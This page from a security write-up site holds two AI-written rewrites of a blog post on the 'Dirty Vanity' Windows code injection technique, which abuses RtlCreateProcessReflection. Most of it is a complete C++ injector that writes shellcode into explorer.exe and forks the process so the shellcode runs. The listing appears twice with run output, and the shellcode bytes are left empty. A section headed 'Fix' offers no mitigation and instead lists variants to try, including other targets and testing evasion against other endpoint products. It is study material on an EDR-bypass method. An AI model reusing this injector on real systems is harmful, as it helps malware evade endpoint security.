Skip to content
RCE Write-up Advanced

Process Injection via RtlCreateProcessReflection

The undocumented Windows function RtlCreateProcessReflection, designed for Windows Error Reporting, can be abused to fork a target process and start execution at a shellcode address written into its memory. An attacker with a handle to a target process could execute arbitrary code inside a forked copy of that process without creating a thread in the original.

S12 - 0x12Dark Development Follow

Published on medium.com

Welcome to this new Medium post, today we are looking at an interesting research by the DeepInstinct team, where they abuse the Windows fork feature (exported as RtlCreateProcessReflectionand RtlCloneUserProcess) to inject the shellcode into a target process. The idea is elegant: write your shellcode into the target’s…

S12 - 0x12Dark Development, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This write-up looks at a code injection technique published by the DeepInstinct team under the name Dirty Vanity. The technique abuses a Windows mechanism that is normally used by Windows Error Reporting (WER): process reflection. The kernel exposes this mechanism through two undocumented ntdll exports, RtlCreateProcessReflection and RtlCloneUserProcess.

Windows has no fork() syscall in the Unix sense, and nothing equivalent appears in its documented API surface. When a process crashes, WER needs a snapshot of it to analyse, so the kernel provides process reflection: RtlCreateProcessReflection creates a reflection, a fork of the target process that WER can inspect without blocking the original. The reflection inherits the parent's virtual address space, including all loaded modules and their memory contents.

The idea behind the technique is simple: write shellcode into the target's address space, then fork the process. The child inherits the parent's virtual memory, so the shellcode is already there at the same address. Point StartRoutine at it and the fork executes it for you.

From the original on medium.com

Setup

The proof of concept is a C++ program built against the Windows headers (<Windows.h>, <cstdio>). It needs no import library for the reflection function, because RtlCreateProcessReflection is not exported through one: the types are defined by hand and the function is resolved from ntdll.dll at runtime with LoadLibraryA and GetProcAddress.

The target in the demonstration is explorer.exe, identified by its PID. The shellcode used is the one from the DeepInstinct Dirty-Vanity repository. The detection check is run against the author's sandbox.

Finding it

The starting point is the DeepInstinct research, which the author recommends reading in full. Two concepts matter: what process forking means on Windows, and what RtlCreateProcessReflection is designed for.

As Eliran Nissan puts it: since the reflection inherits the parent's virtual address space, any shellcode written to the target before the fork is accessible in the child at the same address. If you tell RtlCreateProcessReflection to start execution at that shellcode's address through its StartRoutine parameter, the child will run it. The result is shellcode executing inside a forked copy of the target process, in its memory space, with no threads created in the original target process.

Exploitation

The attack is four steps:

  1. Write shellcode to the target process with VirtualAllocEx + WriteProcessMemory.
  2. Load ntdll to get the address of RtlCreateProcessReflection.
  3. Call RtlCreateProcessReflection with StartRoutine pointing to the shellcode buffer.
  4. Windows forks the target, and the child starts executing at the shellcode address.

The function signature used throughout is:

Text
NTSTATUS RtlCreateProcessReflection(    HANDLE ProcessHandle,    ULONG Flags,    PVOID StartRoutine,    PVOID StartContext,    HANDLE EventHandle,    PT_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation);

ProcessHandle is a handle to the target. StartRoutine is where the forked child begins execution, which is where the shellcode address goes. Flags control behaviour: RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES (0x2) passes open handles to the child, and RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED (0x1) starts it suspended.

Step 1: define the undocumented structures

Because the function is not in any import library, the types are declared manually:

Text
#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED  0x00000001#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES   0x00000002#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE    0x00000004typedef struct _T_CLIENT_ID {    HANDLE UniqueProcess;    HANDLE UniqueThread;} T_CLIENT_ID;typedef struct _T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION {    HANDLE ReflectionProcessHandle;    HANDLE ReflectionThreadHandle;    T_CLIENT_ID ReflectionClientId;} T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;typedef NTSTATUS (NTAPI *RtlCreateProcessReflectionFunc)(    HANDLE ProcessHandle,    ULONG Flags,    PVOID StartRoutine,    PVOID StartContext,    HANDLE EventHandle,    PT_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation);

The full listing also carries an internal ReflectionContext structure, described as IDA data for the internal struct that gets passed to RtlpProcessReflectionStartup:

Text
typedef struct {    DWORD64 unk1;    ULONG Flags;    PVOID StartRoutine;    PVOID StartContext;    PVOID unk2;    PVOID unk3;    PVOID EventHandle;} ReflectionContext;

Step 2: open the target and allocate remote memory

Text
HANDLE victimHandle = OpenProcess(    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,    TRUE, victimPid);if (!victimHandle) {    printf("OpenProcess failed: %lu\n", GetLastError());    return 1;}LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize,    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!baseAddress) {    printf("VirtualAllocEx failed: %lu\n", GetLastError());    return 1;}

The access rights on OpenProcess matter. PROCESS_CREATE_THREAD is required even though the code does not explicitly create a thread, because RtlCreateProcessReflection needs it internally. PROCESS_DUP_HANDLE is needed for handle inheritance into the reflection. VirtualAllocEx reserves and commits a buffer in the target with PAGE_EXECUTE_READWRITE protection.

Step 3: write the shellcode into the target

Text
SIZE_T bytesWritten = 0;BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);if (!status) {    printf("WriteProcessMemory failed: %lu\n", GetLastError());    return 1;}

The shellcode now sits in the target's address space at baseAddress. When the fork happens, the child will have this exact buffer at the exact same virtual address.

Step 4: resolve and call RtlCreateProcessReflection

Text
HMODULE ntlib = LoadLibraryA("ntdll.dll");RtlCreateProcessReflectionFunc RtlCreateProcessReflection =    (RtlCreateProcessReflectionFunc)GetProcAddress(ntlib, "RtlCreateProcessReflection");if (!RtlCreateProcessReflection) {    printf("GetProcAddress failed\n");    return 1;}T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };NTSTATUS ret = RtlCreateProcessReflection(    victimHandle,    RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES,    baseAddress,    NULL,    NULL,    &info);printf("RtlCreateProcessReflection NTSTATUS: 0x%08X\n", ret);printf("Reflection PID: %llu\n", (ULONG64)info.ReflectionClientId.UniqueProcess);

StartRoutine is baseAddress, the address in the target where the shellcode lives, and the reflection starts there. StartContext, the parameter after StartRoutine, passes an argument to the routine; NULL is fine for shellcode that does not use it. A successful call returns STATUS_SUCCESS (0x00000000).

The full program

Text
// 1- Allocate memory space// 2- Write shellcode in the memory space// 3- Call RtlCreateProcessReflection forking the process, pass the StartRoutine parameter pointing the shellcode (same memory addresses)// https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass//#include <Windows.h>#include <cstdio>#ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001#endif#ifndef RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002#endif#ifndef RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects#endiftypedef struct {    HANDLE UniqueProcess;    HANDLE UniqueThread;} T_CLIENT_ID;typedef struct{    HANDLE ReflectionProcessHandle;    HANDLE ReflectionThreadHandle;    T_CLIENT_ID ReflectionClientId;} T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;typedef NTSTATUS(NTAPI* RtlCreateProcessReflectionFunc) (    HANDLE ProcessHandle,    ULONG Flags,    PVOID StartRoutine,    PVOID StartContext,    HANDLE EventHandle,    T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation    );// IDA Data: the internal struct for RtlCreateProcessReflection. gets passed to RtlpProcessReflectionStartuptypedef struct {    DWORD64 unk1;    ULONG Flags;    PVOID StartRoutine;    PVOID StartContext;    PVOID unk2;    PVOID unk3;    PVOID EventHandle;} ReflectionContext;int main() {    printf("Hello World!\n");        DWORD victimPid = 5512;    HANDLE victimHandle = OpenProcess(        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,        TRUE, victimPid);    if (!victimHandle) {        printf("OpenProcess failed: %lu\n", GetLastError());        return 1;    }    printf("Got handle: %p\n", victimHandle);    // shellcode from: https://github.com/deepinstinct/Dirty-Vanity/blob/main/DirtyVanity/DirtyVanity.cpp    unsigned char shellcode[] = {      };    DWORD_PTR shellcodeSize = sizeof(shellcode);    LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!baseAddress) {        printf("VirtualAllocEx failed: %lu\n", GetLastError());        return 1;    }    printf("Allocated at: %p\n", baseAddress);    SIZE_T bytesWritten = 0;    BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);    if (!status) {        printf("WriteProcessMemory failed: %lu\n", GetLastError());        return 1;    }    printf("Written %zu bytes\n", bytesWritten);    HMODULE ntlib = LoadLibraryA("ntdll.dll");    RtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(ntlib, "RtlCreateProcessReflection");    if (!RtlCreateProcessReflection) {        printf("GetProcAddress failed\n");        return 1;    }    T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };    NTSTATUS ret = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, baseAddress, NULL, NULL, &info);    printf("RtlCreateProcessReflection NTSTATUS: 0x%08X\n", ret);    printf("Reflection PID: %llu\n", (ULONG64)info.ReflectionClientId.UniqueProcess);    return 0;}

Proof of concept

The program is run against explorer.exe, injecting the DeepInstinct shellcode into that process.

From the original on medium.com
Text
Hello World!Got handle: 00000000000000BCAllocated at: 0000000000FD0000Written 3378 bytesRtlCreateProcessReflection NTSTATUS: 0x00000000Reflection PID: 6588

The call returns STATUS_SUCCESS and the reflection gets its own PID.

Root cause

The technique abuses a Windows mechanism that is designed to be trusted. RtlCreateProcessReflection exists to serve Windows Error Reporting, and the kernel follows the fork chain because that is what it is supposed to do. The only thing the attacker changes is where StartRoutine points: somewhere it was not meant to go. Because the reflection inherits the parent's virtual address space, the shellcode written before the fork is present in the child at the same address, and no thread is created in the original target process.

Impact

An attacker who can open a target process with the rights shown above can get shellcode executing inside a forked copy of that process, in its memory space, without creating a thread in the original process. The demonstration targets explorer.exe and uses the DeepInstinct shellcode.

On detection: the author states that their sandbox detects the technique perfectly and links the sandbox result page. No detection logic or rule is given in the text.

Fix

The report does not describe a patch or mitigation. It presents the technique and its detection result only.

  • Run the same call with RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED (0x1) instead of RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES to start the reflection suspended. A positive result is a successful STATUS_SUCCESS return with the reflection created but not yet running.
  • Combine the flags, for example RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED | RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, and check whether handles are inherited into a suspended child. A positive result is a reflection whose process handle is valid and whose execution can be resumed later.
  • Try RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE (0x4) to skip updating synchronisation objects. A positive result is a successful fork that does not touch the parent's synchronisation state.
  • Pass a non-NULL StartContext for shellcode that expects an argument. A positive result is the shellcode receiving the value at the expected position.
  • Target a different process than explorer.exe, adjusting the PID and keeping the same access rights. A positive result is the same STATUS_SUCCESS return and a new reflection PID.
  • Run the same binary against the author's sandbox and against other endpoint products to compare detection. A positive result for a defender is an alert on the reflection call or on the remote allocation and write that precede it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

The DeepInstinct team found a way to make a Windows computer run code by abusing a built-in Windows feature that is normally used for something completely different: helping Microsoft analyse crashes. The technique is called Dirty Vanity, and it was published by the DeepInstinct team. The article walks through a small C++ program that implements it and shows that it works.

The trick relies on a Windows function called RtlCreateProcessReflection. When a program crashes, Windows Error Reporting (WER) needs a copy of the crashed program's memory to study. RtlCreateProcessReflection makes that copy: it creates a "reflection", which is a fork of the target process. A fork is a copy of a running program, including everything it has in memory. The copy starts with exactly the same memory contents as the original, at exactly the same memory addresses.

The attack works like this: first, write some malicious code (called shellcode) into the memory of a target program, such as explorer.exe (the Windows file manager and desktop). Then ask Windows to fork that program. Because the fork inherits the original's memory, the malicious code is already present in the copy at the same address. Finally, tell the fork to start executing at that address. The copy runs the malicious code, and no new thread is created in the original program.

From the original on medium.com

The image above illustrates the idea: the shellcode is written into the target's address space, then the process is forked. The child inherits the parent's virtual memory, so the shellcode is already there at the same address. Point StartRoutine at it and the fork executes it for you.

Introduction

The best explanation of the technique is the original DeepInstinct paper, which the author recommends reading in full:

https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass

This article explains the basics: what process forking means on Windows, and what RtlCreateProcessReflection is designed for.

Process forking does not exist in Windows the way it does on Unix. On Unix-like systems there is a fork() system call that creates a child process with a copy of the parent's address space. Windows has nothing equivalent in its documented API surface. However, the Windows kernel has internal mechanisms for process reflection, and one of those mechanisms is exposed as an undocumented ntdll export.

RtlCreateProcessReflection is that export. It was introduced to support Windows Error Reporting: when a process crashes, WER needs a snapshot of it to analyse.

RtlCreateProcessReflection creates a "reflection", a fork of the target process that WER can inspect without blocking the original. The reflection inherits the parent's virtual address space, including all loaded modules and their memory contents.

As Eliran Nissan puts it: since the reflection inherits the parent's virtual address space, any shellcode written to the target before the fork is accessible in the child at the same address. If you tell RtlCreateProcessReflection to start execution at that shellcode's address (via its StartRoutine parameter), the child will run it.

The result: shellcode executes inside a forked copy of the target process, in its memory space, with no threads created in the original target process.

Methodology

The attack is four steps:

  1. Write shellcode to the target process with VirtualAllocEx + WriteProcessMemory
  2. Load ntdll to get the address of RtlCreateProcessReflection
  3. Call RtlCreateProcessReflection with StartRoutine pointing to our shellcode buffer
  4. Windows forks the target, and the child starts executing at our shellcode address

The function signature we care about:

Text
NTSTATUS RtlCreateProcessReflection(    HANDLE ProcessHandle,    ULONG Flags,    PVOID StartRoutine,    PVOID StartContext,    HANDLE EventHandle,    PT_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation);

ProcessHandle is a handle to the target.

StartRoutine is where the forked child begins execution, this is where we point to our shellcode.

Flags control behaviour: RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES (0x2) passes open handles to the child, and RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED (0x1) starts it suspended.

Implementation

The original implementation is here:

https://github.com/deepinstinct/Dirty-Vanity

Define the undocumented structures

RtlCreateProcessReflection is not in any import library. We need to define the types ourselves and load it from ntdll at runtime.

Text
#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED  0x00000001#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES   0x00000002#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE    0x00000004typedef struct _T_CLIENT_ID {    HANDLE UniqueProcess;    HANDLE UniqueThread;} T_CLIENT_ID;typedef struct _T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION {    HANDLE ReflectionProcessHandle;    HANDLE ReflectionThreadHandle;    T_CLIENT_ID ReflectionClientId;} T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;typedef NTSTATUS (NTAPI *RtlCreateProcessReflectionFunc)(    HANDLE ProcessHandle,    ULONG Flags,    PVOID StartRoutine,    PVOID StartContext,    HANDLE EventHandle,    PT_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation);

This code defines constants and structures that the Windows headers do not provide, because the function is undocumented. The #define lines give names to the flag values: RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED is 0x1, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES is 0x2, and RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE is 0x4. The T_CLIENT_ID structure holds a process ID and a thread ID. The T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION structure holds handles to the reflection process and thread, plus a client ID. Finally, RtlCreateProcessReflectionFunc is a function pointer type that matches the signature of the function we will call.

Open the target and allocate remote memory

Text
HANDLE victimHandle = OpenProcess(    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,    TRUE, victimPid);if (!victimHandle) {    printf("OpenProcess failed: %lu\n", GetLastError());    return 1;}LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize,    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!baseAddress) {    printf("VirtualAllocEx failed: %lu\n", GetLastError());    return 1;}

This code opens a handle to the target process (identified by victimPid) with the rights needed to manipulate its memory and create threads. The rights are combined with the bitwise OR operator |. PROCESS_VM_OPERATION allows changing memory protection, PROCESS_VM_WRITE allows writing to memory, PROCESS_CREATE_THREAD is needed because RtlCreateProcessReflection requires it internally even though we do not explicitly create a thread, and PROCESS_DUP_HANDLE is needed for handle inheritance into the reflection. If OpenProcess fails, the program prints an error and exits. Then VirtualAllocEx reserves and commits a block of memory in the target process with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The size is shellcodeSize. If allocation fails, the program prints an error and exits.

Write shellcode to the target

Text
SIZE_T bytesWritten = 0;BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);if (!status) {    printf("WriteProcessMemory failed: %lu\n", GetLastError());    return 1;}

This code writes the shellcode bytes into the memory we just allocated in the target process. WriteProcessMemory takes the target handle, the destination address, the source buffer, the number of bytes, and a pointer to a variable that receives the number of bytes actually written. If the write fails, the program prints an error and exits. After this, the shellcode is in the target's address space at baseAddress. When the fork happens, the child will have this exact buffer at the exact same virtual address.

Load RtlCreateProcessReflection and invoke it

Text
HMODULE ntlib = LoadLibraryA("ntdll.dll");RtlCreateProcessReflectionFunc RtlCreateProcessReflection =    (RtlCreateProcessReflectionFunc)GetProcAddress(ntlib, "RtlCreateProcessReflection");if (!RtlCreateProcessReflection) {    printf("GetProcAddress failed\n");    return 1;}T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };NTSTATUS ret = RtlCreateProcessReflection(    victimHandle,    RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES,    baseAddress,    NULL,    NULL,    &info);printf("RtlCreateProcessReflection NTSTATUS: 0x%08X\n", ret);printf("Reflection PID: %llu\n", (ULONG64)info.ReflectionClientId.UniqueProcess);

This code loads the ntdll.dll library, which is always present in Windows and contains many low-level functions. It then finds the address of RtlCreateProcessReflection using GetProcAddress. If that fails, the program exits. It prepares a structure info to receive information about the reflection, zero-initialised. Then it calls RtlCreateProcessReflection with the target handle, the flag RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES (so the child inherits open handles), baseAddress as the StartRoutine (the address where the shellcode lives), NULL for StartContext (no argument passed to the shellcode), NULL for EventHandle, and a pointer to info. The return value is an NTSTATUS code; a successful call returns STATUS_SUCCESS (0x00000000). The program prints the status and the process ID of the reflection.

Full Code

Text
// 1- Allocate memory space// 2- Write shellcode in the memory space// 3- Call RtlCreateProcessReflection forking the process, pass the StartRoutine parameter pointing the shellcode (same memory addresses)// https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass//#include <Windows.h>#include <cstdio>#ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001#endif#ifndef RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002#endif#ifndef RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects#endiftypedef struct {    HANDLE UniqueProcess;    HANDLE UniqueThread;} T_CLIENT_ID;typedef struct{    HANDLE ReflectionProcessHandle;    HANDLE ReflectionThreadHandle;    T_CLIENT_ID ReflectionClientId;} T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;typedef NTSTATUS(NTAPI* RtlCreateProcessReflectionFunc) (    HANDLE ProcessHandle,    ULONG Flags,    PVOID StartRoutine,    PVOID StartContext,    HANDLE EventHandle,    T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation    );// IDA Data: the internal struct for RtlCreateProcessReflection. gets passed to RtlpProcessReflectionStartuptypedef struct {    DWORD64 unk1;    ULONG Flags;    PVOID StartRoutine;    PVOID StartContext;    PVOID unk2;    PVOID unk3;    PVOID EventHandle;} ReflectionContext;int main() {    printf("Hello World!\n");        DWORD victimPid = 5512;    HANDLE victimHandle = OpenProcess(        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,        TRUE, victimPid);    if (!victimHandle) {        printf("OpenProcess failed: %lu\n", GetLastError());        return 1;    }    printf("Got handle: %p\n", victimHandle);    // shellcode from: https://github.com/deepinstinct/Dirty-Vanity/blob/main/DirtyVanity/DirtyVanity.cpp    unsigned char shellcode[] = {      };    DWORD_PTR shellcodeSize = sizeof(shellcode);    LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!baseAddress) {        printf("VirtualAllocEx failed: %lu\n", GetLastError());        return 1;    }    printf("Allocated at: %p\n", baseAddress);    SIZE_T bytesWritten = 0;    BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);    if (!status) {        printf("WriteProcessMemory failed: %lu\n", GetLastError());        return 1;    }    printf("Written %zu bytes\n", bytesWritten);    HMODULE ntlib = LoadLibraryA("ntdll.dll");    RtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(ntlib, "RtlCreateProcessReflection");    if (!RtlCreateProcessReflection) {        printf("GetProcAddress failed\n");        return 1;    }    T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };    NTSTATUS ret = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, baseAddress, NULL, NULL, &info);    printf("RtlCreateProcessReflection NTSTATUS: 0x%08X\n", ret);    printf("Reflection PID: %llu\n", (ULONG64)info.ReflectionClientId.UniqueProcess);    return 0;}

This is the complete program. It includes the necessary headers, defines the constants and structures, and contains the main function that performs the four steps. The shellcode array is left empty in this listing; the actual bytes come from the DeepInstinct repository. The program prints diagnostic messages at each step.

Proof of Concept

Let’s run it, in this case I’m injecting their shellcode into the explorer.exe process:

From the original on medium.com
Text
Hello World!Got handle: 00000000000000BCAllocated at: 0000000000FD0000Written 3378 bytesRtlCreateProcessReflection NTSTATUS: 0x00000000Reflection PID: 6588

The output shows that the program obtained a handle to the target process, allocated memory at address 0xFD0000, wrote 3378 bytes of shellcode, and called RtlCreateProcessReflection. The call returned STATUS_SUCCESS (0x00000000), and the reflection got its own process ID (6588). This means the call succeeded and the reflection got its own process ID.

Detection

The author states that their sandbox detects the technique perfectly. The results are available here:

https://0x12darksandbox.net/results/596

No detection logic or rule is given in the text.

Conclusions

Dirty Vanity is a genuinely clever technique because it abuses a Windows mechanism that is designed to be trusted. RtlCreateProcessReflection exists to serve Windows Error Reporting. The kernel follows the fork chain because that is what it is supposed to do. We just pointed StartRoutine somewhere it was not meant to go.

Glossary

  • API: Application Programming Interface; a set of functions that programs can call to ask the operating system or another program to do something.
  • Shellcode: A small piece of machine code, often used in exploits, that performs a specific action when executed.
  • Process: A running instance of a program, with its own memory space.
  • Thread: A sequence of instructions executed within a process; a process can have multiple threads running concurrently.
  • Fork: In Unix-like systems, a system call that creates a copy of the calling process. Windows does not have a direct equivalent in its documented API.
  • Process reflection: A Windows mechanism that creates a copy (fork) of a process, used by Windows Error Reporting to inspect a crashed process without blocking the original.
  • Windows Error Reporting (WER): A Windows feature that collects information about crashes and reports it to Microsoft.
  • ntdll.dll: A core Windows library that contains many low-level functions, including undocumented ones.
  • Export: A function that a library makes available for other programs to call.
  • Handle: An identifier that a program uses to refer to a system resource, such as a process or a file.
  • PID: Process Identifier; a number that uniquely identifies a running process.
  • Virtual address space: The range of memory addresses that a process can use; each process has its own virtual address space.
  • VirtualAllocEx: A Windows function that allocates memory in another process.
  • WriteProcessMemory: A Windows function that writes data into another process's memory.
  • OpenProcess: A Windows function that obtains a handle to an existing process.
  • LoadLibraryA: A Windows function that loads a dynamic-link library (DLL) into the calling process.
  • GetProcAddress: A Windows function that retrieves the address of an exported function from a DLL.
  • NTSTATUS: A data type used by Windows to indicate the status of an operation; STATUS_SUCCESS (0x00000000) means success.
  • StartRoutine: A parameter of RtlCreateProcessReflection that specifies the address where the forked child begins execution.
  • StartContext: A parameter of RtlCreateProcessReflection that passes an argument to the start routine.
  • Flags: Parameters that control the behaviour of a function; here, they control aspects of the reflection.
  • RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES: A flag (0x2) that makes the reflection inherit open handles from the parent.
  • RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED: A flag (0x1) that starts the reflection suspended.
  • RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE: A flag (0x4) that skips updating synchronisation objects.
  • PAGE_EXECUTE_READWRITE: A memory protection constant that allows memory to be read, written, and executed.
  • MEM_COMMIT | MEM_RESERVE: Flags for VirtualAllocEx that reserve and commit memory.
  • explorer.exe: The Windows process that provides the desktop and file management interface.
  • Sandbox: An isolated environment used to run and analyse potentially malicious code.
  • EDR: Endpoint Detection and Response; security software that monitors endpoints for malicious activity.

More by S12 - 0x12Dark Development

View all

13 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.